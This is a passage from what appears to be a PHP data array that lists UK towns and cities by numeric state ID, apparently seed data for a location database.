'camberley-frimley'],\n ['state_id' => '3842', 'name' => 'cambourne-redruth'],\n ['state_id' => '3842', 'name' => 'cambridge'],\n ['state_id' => '3842', 'name' => 'cannock'],\n ['state_id' => '3842', 'name' => 'canterbury'],\n ['state_id' => '3842', 'name' => 'canvey island'],\n ['state_id' => '3842', 'name' => 'carlisle'],\n ['state_id' => '3842', 'name' => 'carlton'],\n ['state_id' => '3842', 'name' => 'castleford'],\n ['state_id' => '3842', 'name' => 'caterham and warlingham'],\n ['state_id' => '3842', 'name' => 'chadderton'],\n ['state_id' => '3842', 'name' => 'chapeltown'],\n ['state_id' => '3842', 'name' => 'chatham'],\n ['state_id' => '3842', 'name' => 'cheadle and gatley'],\n ['state_id' => '3842', 'name' => 'chelmsford'],\n ['state_id' => '3842', 'name' => 'cheltenham'],\n ['state_id' => '3842', 'name' => 'chesham'],\n ['state_id' => '3842', 'name' => 'cheshunt'],\n ['state_id' => '3842', 'name' => 'chessington'],\n ['state_id' => '3842', 'name' => 'chester'],\n ['state_id' => '3842', 'name' => 'chester-le-street'],\n ['state_id' => '3842', 'name' => 'chesterfield'],\n ['state_id' => '3842', 'name' => 'chichester'],\n ['state_id' => '3842', 'name' => 'chippenham'],\n ['state_id' => '3842', 'name' => 'chipping sodbury'],\n ['state_id' => '3842', 'name' => 'chorley'],\n ['state_id' => '3842', 'name' => 'christchurch'],\n ['state_id' => '3842', 'name' => 'clacton-on-sea'],\n ['state_id' => '3842', 'name' => 'clay cross-north wingfield'],\n ['state_id' => '3842', 'name' => 'cleethorpes'],\n ['state_id' => '3842', 'name' => 'clevedon'],\n ['state_id' => '3842', 'name' => 'coalville'],\n ['state_id' => '3842', 'name' => 'colchester'],\n ['state_id' => '3842', 'name' => 'congleton'],\n ['state_id' => '3842', 'name' => 'consett'],\n ['state_id' => '3842', 'name' => 'corby'],\n ['state_id' => '3842', 'name' => 'coventry'],\n ['state_id' => '3842', 'name' => 'cramlington'],\n ['state_id' => '3842', 'name' => 'crawley'],\n ['state_id' => '3842', 'name' => 'crosby'],\n ['state_id' => '3842', 'name' => 'crowthorne'],\n ['state_id' => '3842', 'name' => 'darlington'],\n ['state_id' => '3842', 'name' => 'dartford'],\n ['state_id' => '3842', 'name' => 'darwen'],\n ['state_id' => '3842', 'name' => 'deal'],\n ['state_id' => '3842', 'name' => 'denton'],\n ['state_id' => '3842', 'name' => 'derby'],\n ['state_id' => '3842', 'name' => 'dewsbury'],\n ['state_id' => '3842', 'name' => 'doncaster'],\n ['state_id' => '3842', 'name' => 'dorchester'],\n ['state_id' => '3842', 'name' => 'dover'],\n ['state_id' => '3842', 'name' => 'droitwich'],\n ['state_id' => '3842', 'name' => 'dronfield'],\n ['state_id' => '3842', 'name' => 'droylsden'],\n ['state_id' => '3842', 'name' => 'dudley'],\n ['state_id' => '3842', 'name' => 'dunstable'],\n ['state_id' => '3842', 'name' => 'durham'],\n ['state_id' => '3842', 'name' => 'east grinstead'],\n ['state_id' => '3842', 'name' => 'east retford'],\n ['state_id' => '3842', 'name' => 'eastbourne'],\n ['state_id' => '3842', 'name' => 'eastleigh'],\n ['state_id' => '3842', 'name' => 'eaton socon-saint neots'],\n ['state_id' => '3842', 'name' => 'eccles'],\n ['state_id' => '3842', 'name' => 'egham'],\n ['state_id' => '3842', 'name' => 'ellesmere port'],\n ['state_id' => '3842', 'name' => 'epsom and ewell'],\n ['state_id' => '3842', 'name' => 'esher-molesey'],\n ['state_id' => '3842', 'name' => 'eston and south bank'],\n ['state_id' => '3842', 'name' => 'exeter'],\n ['state_id' => '3842', 'name' => 'failsworth'],\n ['state_id' => '3842', 'name' => 'falmouth-penryn'],\n ['state_id' => '3842', 'name' => 'fareham'],\n ['state_id' => '3842', 'name' => 'farnborough'],\n ['state_id' => '3842', 'name' => 'farnham'],\n ['state_id' => '3842', 'name' => 'farnworth'],\n ['state_id' => '3842', 'name' => 'farring'],\n ['state_id' => '3842', 'name' => 'felixtowe'],\n ['state_id' => '3842', 'name' => 'felling'],\n ['state_id' => '3842', 'name' => 'ferndown'],\n ['state_id' => '3842', 'name' => 'fleetwood'],\n ['state_id' => '3842', 'name' => 'folkestone'],\n ['state_id' => '3842', 'name' => 'formby'],\n ['state_id' => '3842', 'name' => 'frome'],\n ['state_id' => '3842', 'name' => 'fulham'],\n ['state_id' => '3842', 'name' => 'gateshead'],\n ['state_id' => '3842', 'name' => 'gillingham'],\n ['state_id' => '3842', 'name' => 'glossop'],\n ['state_id' => '3842', 'name' => 'gloucester'],\n ['state_id' => '3842', 'name' => 'godalming'],\n ['state_id' => '3842', 'name' => 'golborne'],\n ['state_id' => '3842', 'name' => 'gosforth'],\n ['state_id' => '3842', 'name' => 'gosport'],\n ['state_id' => '3842', 'name' => 'grantham'],\n ['state_id' => '3842', 'name' => 'gravesend'],\n ['state_id' => '3842', 'name' => 'grays'],\n ['state_id' => '3842', 'name' => 'greasby'],\n ['state_id' => '3842', 'name' => 'great malvern'],\n ['state_id' => '3842', 'name' => 'great sankey'],\n ['state_id' => '3842', 'name' => 'great yarmouth'],\n ['state_id' => '3842', 'name' => 'grimsby'],\n ['state_id' => '3842', 'name' => 'guildford'],\n ['state_id' => '3842', 'name' => 'guiseley-yeadon'],\n ['state_id' => '3842', 'name' => 'halesowen'],\n ['state_id' => '3842', 'name' => 'halifax'],\n ['state_id' => '3842', 'name' => 'harlow'],\n ['state_id' => '3842', 'name' => 'harpenden'],\n ['state_id' => '3842', 'name' => 'harrogate'],\n ['state_id' => '3842', 'name' => 'hartlepool'],\n ['state_id' => '3842', 'name' => 'hastings'],\n ['state_id' => '3842', 'name' => 'hatfield'],\n ['state_id' => '3842', 'name' => 'hatfield-stainforth'],\n ['state_id' => '3842', 'name' => 'havant'],\n ['state_id' => '3842', 'name' => 'haywards heath'],\n ['state_id' => '3842', 'name' => 'hazel grove and bramhill'],\n ['state_id' => '3842', 'name' => 'hazlemere'],\n ['state_id' => '3842', 'name' => 'heanor'],\n ['state_id' => '3842', 'name' => 'hemel hempstead'],\n ['state_id' => '3842', 'name' => 'hereford'],\n ['state_id' => '3842', 'name' => 'herne bay'],\n ['state_id' => '3842', 'name' => 'hertford'],\n ['state_id' => '3842', 'name' => 'heswall'],\n ['state_id' => '3842', 'name' => 'heywood'],\n ['state_id' => '3842', 'name' => 'high wycombe'],\n ['state_id' => '3842', 'name' => 'hinckley'],\n ['state_id' => '3842', 'name' => 'hindley'],\n ['state_id' => '3842', 'name' => 'hitchin'],\n ['state_id' => '3842', 'name' => 'hoddesdon'],\n ['state_id' => '3842', 'name' => 'holmfirth-honley'],\n ['state_id' => '3842', 'name' => 'honiton'],\n ['state_id' => '3842', 'name' => 'horsham'],\n ['state_id' => '3842', 'name' => 'houghton-le-spring'],\n ['state_id' => '3842', 'name' => 'hove'],\n ['state_id' => '3842', 'name' => 'hoylake-west kirby'],\n ['state_id' => '3842', 'name' => 'hucknall'],\n ['state_id' => '3842', 'name' => 'huddersfield'],\n ['state_id' => '3842', 'name' => 'huyton-with-roby'],\n ['state_id' => '3842', 'name' => 'hyde'],\n ['state_id' => '3842', 'name' => 'ilfracombe'],\n ['state_id' => '3842', 'name' => 'ilkeston'],\n ['state_id' => '3842', 'name' => 'ipswich'],\n ['state_id' => '3842', 'name' => 'ivybridge'],\n ['state_id' => '3842', 'name' => 'jarrow'],\n ['state_id' => '3842', 'name' => 'keighley'],\n ['state_id' => '3842', 'name' => 'kendal'],\n ['state_id' => '3842', 'name' => 'kenilworth'],\n ['state_id' => '3842', 'name' => 'kettering'],\n ['state_id' => '3842', 'name' => 'kidderminster'],\n ['state_id' => '3842', 'name' => 'kidsgrove'],\n ['state_id' => '3842', 'name' => 'king\\'s lynn'],\n ['state_id' => '3842', 'name' => 'kingsteignton'],\n ['state_id' => '3842', 'name' => 'kingston upon hull'],\n ['state_id' => '3842', 'name' => 'kingswood'],\n ['state_id' => '3842', 'name' => 'kirby in ashfield'],\n ['state_id' => '3842', 'name' => 'kirkby'],\n ['state_id' => '3842', 'name' => 'lancaster'],\n ['state_id' => '3842', 'name' => 'leamington'],\n ['state_id' => '3842', 'name' => 'leatherhead'],\n ['state_id' => '3842', 'name' => 'leeds'],\n ['state_id' => '3842', 'name' => 'leicester'],\n ['state_id' => '3842', 'name' => 'leigh'],\n ['state_id' => '3842', 'name' => 'leighton buzzard'],\n ['state_id' => '3842', 'name' => 'letchworth'],\n ['state_id' => '3842', 'name' => 'lewes'],\n ['state_id' => '3842', 'name' => 'leyland'],\n ['state_id' => '3842', 'name' => 'lichfield'],\n ['state_id' => '3842', 'name' => 'lincoln'],\n ['state_id' => '3842', 'name' => 'litherland'],\n ['state_id' => '3842', 'name' => 'littlehampton'],\n ['state_id' => '3842', 'name' => 'liverpool'],\n ['state_id' => '3842', 'name' => 'locks heath'],\n ['state_id' => '3842', 'name' => 'london'],\n ['state_id' => '3842', 'name' => 'long benton-killingworth'],\n ['state_id' => '3842', 'name' => 'long eaton'],\n ['state_id' => '3842', 'name' => 'loughborough'],\n ['state_id' => '3842', 'name' => 'loughton'],\n ['state_id' => '3842', 'name' => 'louth'],\n ['state_id' => '3842', 'name' => 'lowestoft'],\n ['state_id' => '3842', 'name' => 'luton'],\n ['state_id' => '3842', 'name' => 'lyminge'],\n ['state_id' => '3842', 'name' => 'lytham saint anne\\'s'],\n ['state_id' => '3842', 'name' => 'mablethorpe and sutton'],\n ['state_id' => '3842', 'name' => 'macclesfield'],\n ['state_id' => '3842', 'name' => 'maghull-lydiate'],\n ['state_id' => '3842', 'name' => 'maidenhead'],\n ['state_id' => '3842', 'name' => 'maidstone'],\n ['state_id' => '3842', 'name' => 'manchester'],\n ['state_id' => '3842', 'name' => 'mangotsfield'],\n ['state_id' => '3842', 'name' => 'mansfield'],\n ['state_id' => '3842', 'name' => 'margate'],\n ['state_id' => '3842', 'name' => 'matlock'],\n ['state_id' => '3842', 'name' => 'melton mowbray'],\n ['state_id' => '3842', 'name' => 'middlesbrough'],\n ['state_id' => '3842', 'name' => 'middleton'],\n ['state_id' => '3842', 'name' => 'midsomer norton'],\n ['state_id' => '3842', 'name' => 'milton keynes'],\n ['state_id' => '3842', 'name' => 'morecambe'],\n ['state_id' => '3842', 'name' => 'morley'],\n ['state_id' => '3842', 'name' => 'nailsea'],\n ['state_id' => '3842', 'name' => 'nantwich'],\n ['state_id' => '3842', 'name' => 'nelson'],\n ['state_id' => '3842', 'name' => 'new addington'],\n ['state_id' => '3842', 'name' => 'new milton-barton-on-sea'],\n ['state_id' => '3842', 'name' => 'newark-on-trent'],\n ['state_id' => '3842', 'name' => 'newburn'],\n ['state_id' => '3842', 'name' => 'newbury'],\n ['state_id' => '3842', 'name' => 'newcastle upon tyne'],\n ['state_id' => '3842', 'name' => 'newcastle-under-lyme'],\n ['state_id' => '3842', 'name' => 'newport'],\n ['state_id' => '3842', 'name' => 'newton abbot'],\n ['state_id' => '3842', 'name' => 'newton aycliffe'],\n ['state_id' => '3842', 'name' => 'north hykeham'],\n ['state_id' => '3842', 'name' => 'north shields'],\n ['state_id' => '3842', 'name' => 'northallerton'],\n ['state_id' => '3842', 'name' => 'northam'],\n ['state_id' => '3842', 'name' => 'northampton'],\n ['state_id' => '3842', 'name' => 'northfleet'],\n ['state_id' => '3842', 'name' => 'northwich'],\n ['state_id' => '3842', 'name' => 'norwich'],\n ['state_id' => '3842', 'name' => 'nottingham'],\n ['state_id' => '3842', 'name' => 'nuneaton'],\n ['state_id' => '3842', 'name' => 'oakengates-donnington'],\n ['state_id' => '3842', 'name' => 'oakham'],\n ['state_id' => '3842', 'name' => 'oldbury-smethwick'],\n ['state_id' => '3842', 'name' => 'oldham'],\n ['state_id' => '3842', 'name' => 'ormskirk'],\n ['state_id' => '3842', 'name' => 'ossett'],\n ['state_id' => '3842', 'name' => 'oxford'],\n ['state_id' => '3842', 'name' => 'paignton'],\n ['state_id' => '3842', 'name' => 'penzance'],\n ['state_id' => '3842', 'name' => 'peterborough'],\n ['state_id' => '3842', 'name' => 'peterlee'],\n ['state_id' => '3842', 'name' => 'plymouth'],\n ['state_id' => '3842', 'name' => 'pontefract'],\n ['state_id' => '3842', 'name' => 'poole'],\n ['state_id' => '3842', 'name' => 'portsmouth'],\n ['state_id' => '3842', 'name' => 'potters bar'],\n ['state_id' => '3842', 'name' => 'prescot'],\n ['state_id' => '3842', 'name' => 'preston'],\n ['state_id' => '3842', 'name' => 'prestwich'],\n ['state_id' => '3842', 'name' => 'prestwood'],\n ['state_id' => '3842', 'name' => 'pudsey'],\n ['state_id' => '3842', 'name' => 'radcliffe'],\n ['state_id' => '3842', 'name' => 'ramsgate'],\n ['state_id' => '3842', 'name' => 'rawtenstall'],\n ['state_id' => '3842', 'name' => 'rayleigh'],\n ['state_id' => '3842', 'name' => 'reading'],\n ['state_id' => '3842', 'name' => 'redcar'],\n ['state_id' => '3842', 'name' => 'redditch'],\n ['state_id' => '3842', 'name' => 'reigate'],\n ['state_id' => '3842', 'name' => 'rochdale'],\n ['state_id' => '3842', 'name' => 'rochester'],\n ['state_id' => '3842', 'name' => 'rotherham'],\n ['state_id' => '3842', 'name' => 'rottingdean'],\n ['state_id' => '3842', 'name' => 'royal tunbridge wells'],\n ['state_id' => '3842', 'name' => 'royton'],\n ['state_id' => '3842', 'name' => 'rugby'],\n ['state_id' => '3842', 'name' => 'rugeley'],\n ['state_id' => '3842', 'name' => 'runcorn'],\n ['state_id' => '3842', 'name' => 'rushden'],\n ['state_id' => '3842', 'name' => 'ryde'],\n ['state_id' => '3842', 'name' => 'saint albans'],\n ['state_id' => '3842', 'name' => 'saint austell'],\n ['state_id' => '3842', 'name' => 'saint helens'],\n ['state_id' => '3842', 'name' => 'sale'],\n ['state_id' => '3842', 'name' => 'salford'],\n ['state_id' => '3842', 'name' => 'salisbury'],\n ['state_id' => '3842', 'name' => 'scarborough'],\n ['state_id' => '3842', 'name' => 'scunthorpe'],\n ['state_id' => '3842', 'name' => 'seaham'],\n ['state_id' => '3842', 'name' => 'sevenoaks'],\n ['state_id' => '3842', 'name' => 'sheffield'],\n ['state_id' => '3842', 'name' => 'shipley'],\n ['state_id' => '3842', 'name' => 'shrewsbury'],\n ['state_id' => '3842', 'name' => 'sidmouth'],\n ['state_id' => '3842', 'name' => 'sittingbourne'],\n ['state_id' => '3842', 'name' => 'skegness'],\n ['state_id' => '3842', 'name' => 'skelmersdale'],\n ['state_id' => '3842', 'name' => 'sleaford'],\n ['state_id' => '3842', 'name' => 'slough'],\n ['state_id' => '3842', 'name' => 'solihull'],\n ['state_id' => '3842', 'name' => 'sompting-lancing'],\n ['state_id' => '3842', 'name' => 'south shields'],\n ['state_id' => '3842', 'name' => 'southampton'],\n ['state_id' => '3842', 'name' => 'southend-on-sea'],\n ['state_id' => '3842', 'name' => 'southport'],\n ['state_id' => '3842', 'name' => 'spalding-pinchbeck'],\n ['state_id' => '3842', 'name' => 'st. helens'],\n ['state_id' => '3842', 'name' => 'stafford'],\n ['state_id' => '3842', 'name' => 'staines'],\n ['state_id' => '3842', 'name' => 'stalybridge'],\n ['state_id' => '3842', 'name' => 'stamford'],\n ['state_id' => '3842', 'name' => 'stanford le hope-corringham'],\n ['state_id' => '3842', 'name' => 'stanley-annfield plain'],\n ['state_id' => '3842', 'name' => 'staveley'],\n ['state_id' => '3842', 'name' => 'stevenage'],\n ['state_id' => '3842', 'name' => 'stockport'],\n ['state_id' => '3842', 'name' => 'stockton heath-thelwall'],\n ['state_id' => '3842', 'name' => 'stockton-on-tees'],\n ['state_id' => '3842', 'name' => 'stoke-on-trent'],\n ['state_id' => '3842', 'name' => 'stourbridge'],\n ['state_id' => '3842', 'name' => 'stratford-upon-avon'],\n ['state_id' => '3842', 'name' => 'stretford'],\n ['state_id' => '3842', 'name' => 'strood'],\n ['state_id' => '3842', 'name' => 'stubbington'],\n ['state_id' => '3842', 'name' => 'sunbury'],\n ['state_id' => '3842', 'name' => 'sunderland'],\n ['state_id' => '3842', 'name' => 'sutton coldfield'],\n ['state_id' => '3842', 'name' => 'sutton in ashfield'],\n ['state_id' => '3842', 'name' => 'swadlincote'],\n ['state_id' => '3842', 'name' => 'swanley-hextable'],\n ['state_id' => '3842', 'name' => 'swindon'],\n ['state_id' => '3842', 'name' => 'swinton and pendlebury'],\n ['state_id' => '3842', 'name' => 'tamworth'],\n ['state_id' => '3842', 'name' => 'taunton'],\n ['state_id' => '3842', 'name' => 'tavistock'],\n ['state_id' => '3842', 'name' => 'teignmouth'],\n ['state_id' => '3842', 'name' => 'telford'],\n ['state_id' => '3842', 'name' => 'tenbury wells'],\n ['state_id' => '3842', 'name' => 'thatcham'],\n ['state_id' => '3842', 'name' => 'the deepings'],\n ['state_id' => '3842', 'name' => 'thetford'],\n ['state_id' => '3842', 'name' => 'thornaby'],\n ['state_id' => '3842', 'name' => 'thornton-cleveleys'],\n ['state_id' => '3842', 'name' => 'tiverton'],\n ['state_id' => '3842', 'name' => 'tonbridge'],\n ['state_id' => '3842', 'name' => 'torquay'],\n ['state_id' => '3842', 'name' => 'totton'],\n ['state_id' => '3842', 'name' => 'trowbridge'],\n ['state_id' => '3842', 'name' => 'truro'],\n ['state_id' => '3842', 'name' => 'tyldesley'],\n ['state_id' => '3842', 'name' => 'urmston'],\n ['state_id' => '3842', 'name' => 'wakefield'],\n ['state_id' => '3842', 'name' => 'walkden'],\n ['state_id' => '3842', 'name' => 'wallasey'],\n ['state_id' => '3842', 'name' => 'wallsend'],\n ['state_id' => '3842', 'name' => 'walsall'],\n ['state_id' => '3842', 'name' => 'walton and weybridge'],\n ['state_id' => '3842', 'name' => 'warrington'],\n ['state_id' => '3842', 'name' => 'warwick'],\n ['state_id' => '3842', 'name' => 'washington'],\n ['state_id' => '3842', 'name' => 'waterlooville'],\n ['state_id' => '3842', 'name' => 'watford'],\n ['state_id' => '3842', 'name' => 'wellingborough'],\n ['state_id' => '3842', 'name' => 'welwyn garden city'],\n ['state_id' => '3842', 'name' => 'west bridgeford'],\n ['state_id' => '3842', 'name' => 'west bromwich'],\n ['state_id' => '3842', 'name' => 'westhoughton'],\n ['state_id' => '3842', 'name' => 'weston-super-mare'],\n ['state_id' => '3842', 'name' => 'weymouth'],\n ['state_id' => '3842', 'name' => 'whitefield'],\n ['state_id' => '3842', 'name' => 'whitehaven'],\n ['state_id' => '3842', 'name' => 'whitley bay'],\n ['state_id' => '3842', 'name' => 'wickford'],\n ['state_id' => '3842', 'name' => 'widnes'],\n ['state_id' => '3842', 'name' => 'wigan'],\n ['state_id' => '3842', 'name' => 'wigston'],\n ['state_id' => '3842', 'name' => 'wilmslow'],\n ['state_id' => '3842', 'name' => 'wimbourne minster'],\n ['state_id' => '3842', 'name' => 'winchester'],\n ['state_id' => '3842', 'name' => 'windsor berks'],\n ['state_id' => '3842', 'name' => 'windsor-eton'],\n ['state_id' => '3842', 'name' => 'winsford'],\n ['state_id' => '3842', 'name' => 'wisbech'],\n ['state_id' => '3842', 'name' => 'witham'],\n ['state_id' => '3842', 'name' => 'witney'],\n ['state_id' => '3842', 'name' => 'woking-byfleet'],\n ['state_id' => '3842', 'name' => 'wokingham'],\n ['state_id' => '3842', 'name' => 'wolverhampton'],\n ['state_id' => '3842', 'name' => 'wolverton-stony stratford'],\n ['state_id' => '3842', 'name' => 'worcester'],\n ['state_id' => '3842', 'name' => 'worcestershire'],\n ['state_id' => '3842', 'name' => 'workington'],\n ['state_id' => '3842', 'name' => 'worksop'],\n ['state_id' => '3842', 'name' => 'worthing'],\n ['state_id' => '3842', 'name' => 'yeovil'],\n ['state_id' => '3842', 'name' => 'york'],\n ['state_id' => '3843', 'name' => 'barking'],\n ['state_id' => '3843', 'name' => 'basildon'],\n ['state_id' => '3843', 'name' => 'brentwood'],\n ['state_id' => '3843', 'name' => 'cambrridge'],\n ['state_id' => '3843', 'name' => 'canvey island'],\n ['state_id' => '3843', 'name' => 'chelmsford'],\n ['state_id' => '3843', 'name' => 'clacton-on-sea'],\n ['state_id' => '3843', 'name' => 'colchester'],\n ['state_id' => '3843', 'name' => 'dagenham'],\n ['state_id' => '3843', 'name' => 'dunmow'],\n ['state_id' => '3843', 'name' => 'epping'],\n ['state_id' => '3843', 'name' => 'essex'],\n ['state_id' => '3843', 'name' => 'grays'],\n ['state_id' => '3843', 'name' => 'harlow'],\n ['state_id' => '3843', 'name' => 'ilford'],\n ['state_id' => '3843', 'name' => 'ingatestone'],\n ['state_id' => '3843', 'name' => 'leigh on sea'],\n ['state_id' => '3843', 'name' => 'rainham'],\n ['state_id' => '3843', 'name' => 'romford'],\n ['state_id' => '3843', 'name' => 'saffron walden'],\n ['state_id' => '3843', 'name' => 'stansted'],\n ['state_id' => '3843', 'name' => 'wickford'],\n ['state_id' => '3844', 'name' => 'ballinamallard'],\n ['state_id' => '3845', 'name' => 'kirkcaldy'],\n ['state_id' => '3846', 'name' => 'ewloe'],\n ['state_id' => '3846', 'name' => 'greenfield'],\n ['state_id' => '3847', 'name' => 'imperial wharf'],\n ['state_id' => '3848', 'name' => 'kirton-in-lindsey'],\n ['state_id' => '3849', 'name' => 'berkeley'],\n ['state_id' => '3849', 'name' => 'cheltenham'],\n ['state_id' => '3849', 'name' => 'churchham'],\n ['state_id' => '3849', 'name' => 'cirencester'],\n ['state_id' => '3849', 'name' => 'east kilbride'],\n ['state_id' => '3849', 'name' => 'gloucester'],\n ['state_id' => '3849', 'name' => 'lechlade'],\n ['state_id' => '3849', 'name' => 'lydney'],\n ['state_id' => '3849', 'name' => 'moreton in marsh'],\n ['state_id' => '3849', 'name' => 'stroud'],\n ['state_id' => '3849', 'name' => 'tewkesbury'],\n ['state_id' => '3850', 'name' => 'blackwood'],\n ['state_id' => '3850', 'name' => 'blaenavon'],\n ['state_id' => '3850', 'name' => 'newport'],\n ['state_id' => '3850', 'name' => 'tredegar'],\n ['state_id' => '3851', 'name' => 'aldershot'],\n ['state_id' => '3851', 'name' => 'alton'],\n ['state_id' => '3851', 'name' => 'andover'],\n ['state_id' => '3851', 'name' => 'bordon'],\n ['state_id' => '3851', 'name' => 'botley'],\n ['state_id' => '3851', 'name' => 'fareham'],\n ['state_id' => '3851', 'name' => 'farnborough'],\n ['state_id' => '3851', 'name' => 'fleet'],\n ['state_id' => '3851', 'name' => 'fordingbridge'],\n ['state_id' => '3851', 'name' => 'havant'],\n ['state_id' => '3851', 'name' => 'hayling island'],\n ['state_id' => '3851', 'name' => 'hook'],\n ['state_id' => '3851', 'name' => 'isle of wight'],\n ['state_id' => '3851', 'name' => 'liphook'],\n ['state_id' => '3851', 'name' => 'longparish'],\n ['state_id' => '3851', 'name' => 'old bishopstoke'],\n ['state_id' => '3851', 'name' => 'petersfield'],\n ['state_id' => '3851', 'name' => 'portsmouth'],\n ['state_id' => '3851', 'name' => 'ringwood'],\n ['state_id' => '3851', 'name' => 'romsey'],\n ['state_id' => '3851', 'name' => 'south harting'],\n ['state_id' => '3851', 'name' => 'southampton'],\n ['state_id' => '3851', 'name' => 'waterlooville'],\n ['state_id' => '3851', 'name' => 'west wellow'],\n ['state_id' => '3851', 'name' => 'winchester'],\n ['state_id' => '3852', 'name' => 'lymington'],\n ['state_id' => '3852', 'name' => 'pennington'],\n ['state_id' => '3852', 'name' => 'southampton'],\n ['state_id' => '3853', 'name' => 'kington'],\n ['state_id' => '3853', 'name' => 'ledbury'],\n ['state_id' => '3853', 'name' => 'leominster'],\n ['state_id' => '3853', 'name' => 'saint albans'],\n ['state_id' => '3854', 'name' => 'barnet'],\n ['state_id' => '3854', 'name' => 'bishops stortford'],\n ['state_id' => '3854', 'name' => 'borehamwood'],\n ['state_id' => '3854', 'name' => 'brookmans park'],\n ['state_id' => '3854', 'name' => 'bushey'],\n ['state_id' => '3854', 'name' => 'cheshunt'],\n ['state_id' => '3854', 'name' => 'cuffley'],\n ['state_id' => '3854', 'name' => 'elstree'],\n ['state_id' => '3854', 'name' => 'hemel hempstead'],\n ['state_id' => '3854', 'name' => 'hertfordshire'],\n ['state_id' => '3854', 'name' => 'kings langley'],\n ['state_id' => '3854', 'name' => 'much hadham'],\n ['state_id' => '3854', 'name' => 'radlett'],\n ['state_id' => '3854', 'name' => 'rickmansworth'],\n ['state_id' => '3854', 'name' => 'royston'],\n ['state_id' => '3854', 'name' => 'stevenage'],\n ['state_id' => '3854', 'name' => 'waltham cross'],\n ['state_id' => '3854', 'name' => 'watford'],\n ['state_id' => '3854', 'name' => 'welwyn'],\n ['state_id' => '3858', 'name' => 'newmarket'],\n ['state_id' => '3859', 'name' => 'ashford'],\n ['state_id' => '3859', 'name' => 'beckenham'],\n ['state_id' => '3859', 'name' => 'bromley'],\n ['state_id' => '3859', 'name' => 'brookland'],\n ['state_id' => '3859', 'name' => 'charing'],\n ['state_id' => '3859', 'name' => 'chatam'],\n ['state_id' => '3859', 'name' => 'crayford'],\n ['state_id' => '3859', 'name' => 'edenbridge'],\n ['state_id' => '3859', 'name' => 'erith'],\n ['state_id' => '3859', 'name' => 'faversham'],\n ['state_id' => '3859', 'name' => 'five oak green'],\n ['state_id' => '3859', 'name' => 'folkestone'],\n ['state_id' => '3859', 'name' => 'gillingham'],\n ['state_id' => '3859', 'name' => 'gravesend'],\n ['state_id' => '3859', 'name' => 'hartlip'],\n ['state_id' => '3859', 'name' => 'hayes'],\n ['state_id' => '3859', 'name' => 'herne bay'],\n ['state_id' => '3859', 'name' => 'hythe'],\n ['state_id' => '3859', 'name' => 'lenham'],\n ['state_id' => '3859', 'name' => 'maidstone'],\n ['state_id' => '3859', 'name' => 'minster'],\n ['state_id' => '3859', 'name' => 'new romney'],\n ['state_id' => '3859', 'name' => 'orpington'],\n ['state_id' => '3859', 'name' => 'paddock wood'],\n ['state_id' => '3859', 'name' => 'royal tunbridge wells'],\n ['state_id' => '3859', 'name' => 'sandwich'],\n ['state_id' => '3859', 'name' => 'sheerness'],\n ['state_id' => '3859', 'name' => 'sidcup'],\n ['state_id' => '3859', 'name' => 'sittingbourne'],\n ['state_id' => '3859', 'name' => 'staplehurst'],\n ['state_id' => '3859', 'name' => 'tunbridge wells'],\n ['state_id' => '3859', 'name' => 'west malling'],\n ['state_id' => '3859', 'name' => 'westerham'],\n ['state_id' => '3859', 'name' => 'whitstable'],\n ['state_id' => '3859', 'name' => 'canterbury'],\n ['state_id' => '3860', 'name' => 'ayrshire'],\n ['state_id' => '3861', 'name' => 'airdrie'],\n ['state_id' => '3861', 'name' => 'glasgow'],\n ['state_id' => '3862', 'name' => 'accrington'],\n ['state_id' => '3862', 'name' => 'blackburn'],\n ['state_id' => '3862', 'name' => 'blackpool'],\n ['state_id' => '3862', 'name' => 'burnley'],\n ['state_id' => '3862', 'name' => 'clayton-le-moors'],\n ['state_id' => '3862', 'name' => 'cleveleys'],\n ['state_id' => '3862', 'name' => 'darwen'],\n ['state_id' => '3862', 'name' => 'gisburn'],\n ['state_id' => '3862', 'name' => 'glasgow'],\n ['state_id' => '3862', 'name' => 'greater manchester'],\n ['state_id' => '3862', 'name' => 'hamilton'],\n ['state_id' => '3862', 'name' => 'kirkby lonsdale'],\n ['state_id' => '3862', 'name' => 'leyland'],\n ['state_id' => '3862', 'name' => 'littleborough'],\n ['state_id' => '3862', 'name' => 'lytham st annes'],\n ['state_id' => '3862', 'name' => 'nelson'],\n ['state_id' => '3862', 'name' => 'oldham'],\n ['state_id' => '3862', 'name' => 'out rawcliffe'],\n ['state_id' => '3862', 'name' => 'padiham'],\n ['state_id' => '3862', 'name' => 'preston'],\n ['state_id' => '3862', 'name' => 'rochdale'],\n ['state_id' => '3862', 'name' => 'rossendale'],\n ['state_id' => '3862', 'name' => 'tarleton'],\n ['state_id' => '3862', 'name' => 'todmorden'],\n ['state_id' => '3862', 'name' => 'west lancashire'],\n ['state_id' => '3863', 'name' => 'coalville'],\n ['state_id' => '3863', 'name' => 'fleckney'],\n ['state_id' => '3863', 'name' => 'leicester'],\n ['state_id' => '3863', 'name' => 'loughborough'],\n ['state_id' => '3863', 'name' => 'lutterworth'],\n ['state_id' => '3863', 'name' => 'market harborough'],\n ['state_id' => '3863', 'name' => 'tur langton'],\n ['state_id' => '3864', 'name' => 'alford'],\n ['state_id' => '3864', 'name' => 'bourne'],\n ['state_id' => '3864', 'name' => 'casewick'],\n ['state_id' => '3864', 'name' => 'digby'],\n ['state_id' => '3864', 'name' => 'gainsborough'],\n ['state_id' => '3864', 'name' => 'grimsby'],\n ['state_id' => '3864', 'name' => 'immingham'],\n ['state_id' => '3864', 'name' => 'laceby'],\n ['state_id' => '3864', 'name' => 'lincoln'],\n ['state_id' => '3864', 'name' => 'louth'],\n ['state_id' => '3864', 'name' => 'market deeping'],\n ['state_id' => '3864', 'name' => 'market rasen'],\n ['state_id' => '3864', 'name' => 'spalding'],\n ['state_id' => '3864', 'name' => 'spilsby'],\n ['state_id' => '3864', 'name' => 'swinderby'],\n ['state_id' => '3864', 'name' => 'thurlby'],\n ['state_id' => '3864', 'name' => 'witham st hughs'],\n ['state_id' => '3865', 'name' => 'llanymynech'],\n ['state_id' => '3866', 'name' => 'abbeywood'],\n ['state_id' => '3866', 'name' => 'aldgate'],\n ['state_id' => '3866', 'name' => 'alperton'],\n ['state_id' => '3866', 'name' => 'castledawson'],\n ['state_id' => '3866', 'name' => 'edmonton'],\n ['state_id' => '3866', 'name' => 'enfield'],\n ['state_id' => '3866', 'name' => 'forest gate'],\n ['state_id' => '3866', 'name' => 'greenwich'],\n ['state_id' => '3866', 'name' => 'hainault'],\n ['state_id' => '3866', 'name' => 'hampstead'],\n ['state_id' => '3866', 'name' => 'harrow weald'],\n ['state_id' => '3866', 'name' => 'hendon'],\n ['state_id' => '3866', 'name' => 'kensington'],\n ['state_id' => '3866', 'name' 